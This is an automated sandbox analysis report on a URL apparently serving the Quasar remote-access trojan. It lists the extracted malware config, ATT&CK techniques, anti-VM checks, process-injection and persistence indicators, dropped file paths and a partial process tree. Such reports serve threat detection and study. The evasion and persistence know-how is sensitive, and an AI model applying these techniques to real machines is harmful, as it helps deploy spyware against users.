quasar | hxxps://oceanwave[.]lol/

Resubmissions

04-01-2025 18:14

250104-wvprcs1kgz 7

04-01-2025 18:10

250104-wsgmza1kaz 10

Analysis

max time kernel
106s
max time network
117s
platform
windows11-21h2_x64
resource
win11-20241007-en
resource tags

arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
submitted
04-01-2025 18:10

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

https://oceanwave.lol/

Score

10^/10

quasar discovery execution spyware trojan

Malware Config

Extracted

Family

quasar

Attributes

encryption_key
6F38862AF940DB0B877E1A5C024641D617D7FAB6
reconnect_delay
3000

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Quasar family
quasar

Quasar payload 1 IoCs

resource	yara_rule
behavioral1/memory/2708-2376-0x000001FAE6CE0000-0x000001FAE7464000-memory.dmp	family_quasar

Suspicious use of NtCreateProcessExOtherParentProcess 2 IoCs

description	pid	Process	procid_target
PID 4276 created 2324	4276	WerFault.exe	103
PID 5060 created 2708	5060	WerFault.exe	117

Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs

description	pid	Process	procid_target
PID 2324 created 640	2324	powershell.exe	5
PID 664 created 2324	664	svchost.exe	103
PID 2708 created 640	2708	powershell.exe	5
PID 664 created 2708	664	svchost.exe	117
PID 664 created 2708	664	svchost.exe	117

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2324	powershell.exe
2708	powershell.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File opened for modification	C:\Windows\System32\Tasks\$nya-lgHRkCur	svchost.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 21 IoCs

pid	Process
2708	powershell.exe
2708	powershell.exe
2708	powershell.exe
2708	powershell.exe
2708	powershell.exe
2708	powershell.exe
2708	powershell.exe
2708	powershell.exe
2708	powershell.exe
2708	powershell.exe
2708	powershell.exe
2708	powershell.exe
2708	powershell.exe
2708	powershell.exe
2708	powershell.exe
2708	powershell.exe
2708	powershell.exe
2708	powershell.exe
2708	powershell.exe
2708	powershell.exe
2708	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2324 set thread context of 1128	2324	powershell.exe	104
PID 2708 set thread context of 1356	2708	powershell.exe	119

Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\VBoxMiniRdrDN	powershell.exe

Drops file in Windows directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\$rbx-onimai2	powershell.exe
File created	C:\Windows\$rbx-onimai2\$rbx-CO2.bat	cmd.exe
File opened for modification	C:\Windows\$nya-onimai2	powershell.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Mfg	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	wmiprvse.exe

Checks processor information in registry 2 TTPs 14 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe

Enumerates system info in registry 2 TTPs 8 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe

Modifies data under HKEY_USERS 14 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={393F379E-9243-4876-8596-E774536AC1F1}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Sat, 04 Jan 2025 18:12:35 GMT"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1736014356"	OfficeClickToRun.exe

Modifies registry class 29 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-1537126222-899333903-2037027349-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Mode = "4"	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1537126222-899333903-2037027349-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1537126222-899333903-2037027349-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\KnownFolderDerivedFolderType = "{885A186E-A440-4ADA-812B-DB871B942259}"	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1537126222-899333903-2037027349-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Vid = "{137E7700-3573-11CF-AE69-08002B2E1262}"	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1537126222-899333903-2037027349-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByDirection = "1"	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1537126222-899333903-2037027349-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupView = "0"	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1537126222-899333903-2037027349-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1537126222-899333903-2037027349-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1537126222-899333903-2037027349-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\NodeSlot = "3"	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1537126222-899333903-2037027349-1000_Classes\Local Settings	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1537126222-899333903-2037027349-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Rev = "0"	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1537126222-899333903-2037027349-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1537126222-899333903-2037027349-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:PID = "0"	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1537126222-899333903-2037027349-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1537126222-899333903-2037027349-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1537126222-899333903-2037027349-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 0202	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1537126222-899333903-2037027349-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1092616193"	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1537126222-899333903-2037027349-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\LogicalViewMode = "1"	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1537126222-899333903-2037027349-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1092616209"	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1537126222-899333903-2037027349-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\IconSize = "16"	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1537126222-899333903-2037027349-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}"	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1537126222-899333903-2037027349-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 020202	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1537126222-899333903-2037027349-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1537126222-899333903-2037027349-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1537126222-899333903-2037027349-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\SniffedFolderType = "Downloads"	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1537126222-899333903-2037027349-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1537126222-899333903-2037027349-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 0000000001000000ffffffff	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1537126222-899333903-2037027349-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1537126222-899333903-2037027349-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 0100000000000000ffffffff	Explorer.EXE

NTFS ADS 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\Loader.zip:Zone.Identifier	msedge.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
1596	NOTEPAD.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1988	msedge.exe
1988	msedge.exe
128	msedge.exe
128	msedge.exe
4896	identity_helper.exe
4896	identity_helper.exe
3296	msedge.exe
3296	msedge.exe
4304	msedge.exe
4304	msedge.exe
2324	powershell.exe
2324	powershell.exe
2324	powershell.exe
1128	dllhost.exe
1128	dllhost.exe
1128	dllhost.exe
1128	dllhost.exe
1128	dllhost.exe
1128	dllhost.exe
1128	dllhost.exe
1128	dllhost.exe
1128	dllhost.exe
1128	dllhost.exe
1128	dllhost.exe
1128	dllhost.exe
1128	dllhost.exe
1128	dllhost.exe
1128	dllhost.exe
1128	dllhost.exe
1128	dllhost.exe
1128	dllhost.exe
1128	dllhost.exe
1128	dllhost.exe
1128	dllhost.exe
1128	dllhost.exe
1128	dllhost.exe
1128	dllhost.exe
1128	dllhost.exe
1128	dllhost.exe
1128	dllhost.exe
1128	dllhost.exe
1128	dllhost.exe
1128	dllhost.exe
1128	dllhost.exe
1128	dllhost.exe
1128	dllhost.exe
1128	dllhost.exe
1128	dllhost.exe
1128	dllhost.exe
1128	dllhost.exe
1128	dllhost.exe
1128	dllhost.exe
1128	dllhost.exe
1128	dllhost.exe
1128	dllhost.exe
1128	dllhost.exe
1128	dllhost.exe
1128	dllhost.exe
1128	dllhost.exe
1128	dllhost.exe
1128	dllhost.exe
1128	dllhost.exe
1128	dllhost.exe
1128	dllhost.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3332	Explorer.EXE

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs

pid	Process
128	msedge.exe
128	msedge.exe
128	msedge.exe
128	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2324	powershell.exe
Token: SeDebugPrivilege	1128	dllhost.exe
Token: SeShutdownPrivilege	3332	Explorer.EXE
Token: SeCreatePagefilePrivilege	3332	Explorer.EXE
Token: SeShutdownPrivilege	3332	Explorer.EXE
Token: SeCreatePagefilePrivilege	3332	Explorer.EXE
Token: SeShutdownPrivilege	3332	Explorer.EXE
Token: SeCreatePagefilePrivilege	3332	Explorer.EXE
Token: SeShutdownPrivilege	3332	Explorer.EXE
Token: SeCreatePagefilePrivilege	3332	Explorer.EXE
Token: SeShutdownPrivilege	3332	Explorer.EXE
Token: SeCreatePagefilePrivilege	3332	Explorer.EXE
Token: SeShutdownPrivilege	3332	Explorer.EXE
Token: SeCreatePagefilePrivilege	3332	Explorer.EXE
Token: SeShutdownPrivilege	3332	Explorer.EXE
Token: SeCreatePagefilePrivilege	3332	Explorer.EXE
Token: SeShutdownPrivilege	3332	Explorer.EXE
Token: SeCreatePagefilePrivilege	3332	Explorer.EXE
Token: SeShutdownPrivilege	3332	Explorer.EXE
Token: SeCreatePagefilePrivilege	3332	Explorer.EXE
Token: SeShutdownPrivilege	3332	Explorer.EXE
Token: SeCreatePagefilePrivilege	3332	Explorer.EXE
Token: SeShutdownPrivilege	3332	Explorer.EXE
Token: SeCreatePagefilePrivilege	3332	Explorer.EXE
Token: SeShutdownPrivilege	3332	Explorer.EXE
Token: SeCreatePagefilePrivilege	3332	Explorer.EXE
Token: SeShutdownPrivilege	3332	Explorer.EXE
Token: SeCreatePagefilePrivilege	3332	Explorer.EXE
Token: SeShutdownPrivilege	3332	Explorer.EXE
Token: SeCreatePagefilePrivilege	3332	Explorer.EXE
Token: SeShutdownPrivilege	3332	Explorer.EXE
Token: SeCreatePagefilePrivilege	3332	Explorer.EXE
Token: SeShutdownPrivilege	3332	Explorer.EXE
Token: SeCreatePagefilePrivilege	3332	Explorer.EXE
Token: SeShutdownPrivilege	3332	Explorer.EXE
Token: SeCreatePagefilePrivilege	3332	Explorer.EXE
Token: SeShutdownPrivilege	3332	Explorer.EXE
Token: SeCreatePagefilePrivilege	3332	Explorer.EXE
Token: SeShutdownPrivilege	3332	Explorer.EXE
Token: SeCreatePagefilePrivilege	3332	Explorer.EXE
Token: SeShutdownPrivilege	3332	Explorer.EXE
Token: SeCreatePagefilePrivilege	3332	Explorer.EXE
Token: SeShutdownPrivilege	3332	Explorer.EXE
Token: SeCreatePagefilePrivilege	3332	Explorer.EXE
Token: SeShutdownPrivilege	3332	Explorer.EXE
Token: SeCreatePagefilePrivilege	3332	Explorer.EXE
Token: SeShutdownPrivilege	3332	Explorer.EXE
Token: SeCreatePagefilePrivilege	3332	Explorer.EXE
Token: SeShutdownPrivilege	3332	Explorer.EXE
Token: SeCreatePagefilePrivilege	3332	Explorer.EXE
Token: SeAssignPrimaryTokenPrivilege	2612	svchost.exe
Token: SeIncreaseQuotaPrivilege	2612	svchost.exe
Token: SeSecurityPrivilege	2612	svchost.exe
Token: SeTakeOwnershipPrivilege	2612	svchost.exe
Token: SeLoadDriverPrivilege	2612	svchost.exe
Token: SeSystemtimePrivilege	2612	svchost.exe
Token: SeBackupPrivilege	2612	svchost.exe
Token: SeRestorePrivilege	2612	svchost.exe
Token: SeShutdownPrivilege	2612	svchost.exe
Token: SeSystemEnvironmentPrivilege	2612	svchost.exe
Token: SeUndockPrivilege	2612	svchost.exe
Token: SeManageVolumePrivilege	2612	svchost.exe
Token: SeAuditPrivilege	2636	svchost.exe
Token: SeShutdownPrivilege	3332	Explorer.EXE

Suspicious use of FindShellTrayWindow 35 IoCs

pid	Process
128	msedge.exe
128	msedge.exe
128	msedge.exe
128	msedge.exe
128	msedge.exe
128	msedge.exe
128	msedge.exe
128	msedge.exe
128	msedge.exe
128	msedge.exe
128	msedge.exe
128	msedge.exe
128	msedge.exe
128	msedge.exe
128	msedge.exe
128	msedge.exe
128	msedge.exe
128	msedge.exe
128	msedge.exe
128	msedge.exe
128	msedge.exe
128	msedge.exe
128	msedge.exe
128	msedge.exe
128	msedge.exe
128	msedge.exe
128	msedge.exe
128	msedge.exe
128	msedge.exe
128	msedge.exe
128	msedge.exe
128	msedge.exe
128	msedge.exe
128	msedge.exe
128	msedge.exe

Suspicious use of SendNotifyMessage 12 IoCs

pid	Process
128	msedge.exe
128	msedge.exe
128	msedge.exe
128	msedge.exe
128	msedge.exe
128	msedge.exe
128	msedge.exe
128	msedge.exe
128	msedge.exe
128	msedge.exe
128	msedge.exe
128	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 128 wrote to memory of 3468	128	msedge.exe	77
PID 128 wrote to memory of 3468	128	msedge.exe	77
PID 128 wrote to memory of 3896	128	msedge.exe	78
PID 128 wrote to memory of 3896	128	msedge.exe	78
PID 128 wrote to memory of 3896	128	msedge.exe	78
PID 128 wrote to memory of 3896	128	msedge.exe	78
PID 128 wrote to memory of 3896	128	msedge.exe	78
PID 128 wrote to memory of 3896	128	msedge.exe	78
PID 128 wrote to memory of 3896	128	msedge.exe	78
PID 128 wrote to memory of 3896	128	msedge.exe	78
PID 128 wrote to memory of 3896	128	msedge.exe	78
PID 128 wrote to memory of 3896	128	msedge.exe	78
PID 128 wrote to memory of 3896	128	msedge.exe	78
PID 128 wrote to memory of 3896	128	msedge.exe	78
PID 128 wrote to memory of 3896	128	msedge.exe	78
PID 128 wrote to memory of 3896	128	msedge.exe	78
PID 128 wrote to memory of 3896	128	msedge.exe	78
PID 128 wrote to memory of 3896	128	msedge.exe	78
PID 128 wrote to memory of 3896	128	msedge.exe	78
PID 128 wrote to memory of 3896	128	msedge.exe	78
PID 128 wrote to memory of 3896	128	msedge.exe	78
PID 128 wrote to memory of 3896	128	msedge.exe	78
PID 128 wrote to memory of 3896	128	msedge.exe	78
PID 128 wrote to memory of 3896	128	msedge.exe	78
PID 128 wrote to memory of 3896	128	msedge.exe	78
PID 128 wrote to memory of 3896	128	msedge.exe	78
PID 128 wrote to memory of 3896	128	msedge.exe	78
PID 128 wrote to memory of 3896	128	msedge.exe	78
PID 128 wrote to memory of 3896	128	msedge.exe	78
PID 128 wrote to memory of 3896	128	msedge.exe	78
PID 128 wrote to memory of 3896	128	msedge.exe	78
PID 128 wrote to memory of 3896	128	msedge.exe	78
PID 128 wrote to memory of 3896	128	msedge.exe	78
PID 128 wrote to memory of 3896	128	msedge.exe	78
PID 128 wrote to memory of 3896	128	msedge.exe	78
PID 128 wrote to memory of 3896	128	msedge.exe	78
PID 128 wrote to memory of 3896	128	msedge.exe	78
PID 128 wrote to memory of 3896	128	msedge.exe	78
PID 128 wrote to memory of 3896	128	msedge.exe	78
PID 128 wrote to memory of 3896	128	msedge.exe	78
PID 128 wrote to memory of 3896	128	msedge.exe	78
PID 128 wrote to memory of 3896	128	msedge.exe	78
PID 128 wrote to memory of 1988	128	msedge.exe	79
PID 128 wrote to memory of 1988	128	msedge.exe	79
PID 128 wrote to memory of 2320	128	msedge.exe	80
PID 128 wrote to memory of 2320	128	msedge.exe	80
PID 128 wrote to memory of 2320	128	msedge.exe	80
PID 128 wrote to memory of 2320	128	msedge.exe	80
PID 128 wrote to memory of 2320	128	msedge.exe	80
PID 128 wrote to memory of 2320	128	msedge.exe	80
PID 128 wrote to memory of 2320	128	msedge.exe	80
PID 128 wrote to memory of 2320	128	msedge.exe	80
PID 128 wrote to memory of 2320	128	msedge.exe	80
PID 128 wrote to memory of 2320	128	msedge.exe	80
PID 128 wrote to memory of 2320	128	msedge.exe	80
PID 128 wrote to memory of 2320	128	msedge.exe	80
PID 128 wrote to memory of 2320	128	msedge.exe	80
PID 128 wrote to memory of 2320	128	msedge.exe	80
PID 128 wrote to memory of 2320	128	msedge.exe	80
PID 128 wrote to memory of 2320	128	msedge.exe	80
PID 128 wrote to memory of 2320	128	msedge.exe	80
PID 128 wrote to memory of 2320	128	msedge.exe	80
PID 128 wrote to memory of 2320	128	msedge.exe	80
PID 128 wrote to memory of 2320	128	msedge.exe	80

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:640
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:472
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{caf5558e-8b68-4a77-9cbd-644f7a3ed5d5}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1128
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{708ee3e1-80a3-4fed-90e7-f47b3b03303b}
  2⤵
  PID:1356

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:692

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:1004

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:768

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1052

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1080

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1120

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1144

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1224

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
1⤵
PID:1292

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1300

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1432
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:704

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1480

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1488

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1584

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1616

C:\Windows\system32\svchost.exe
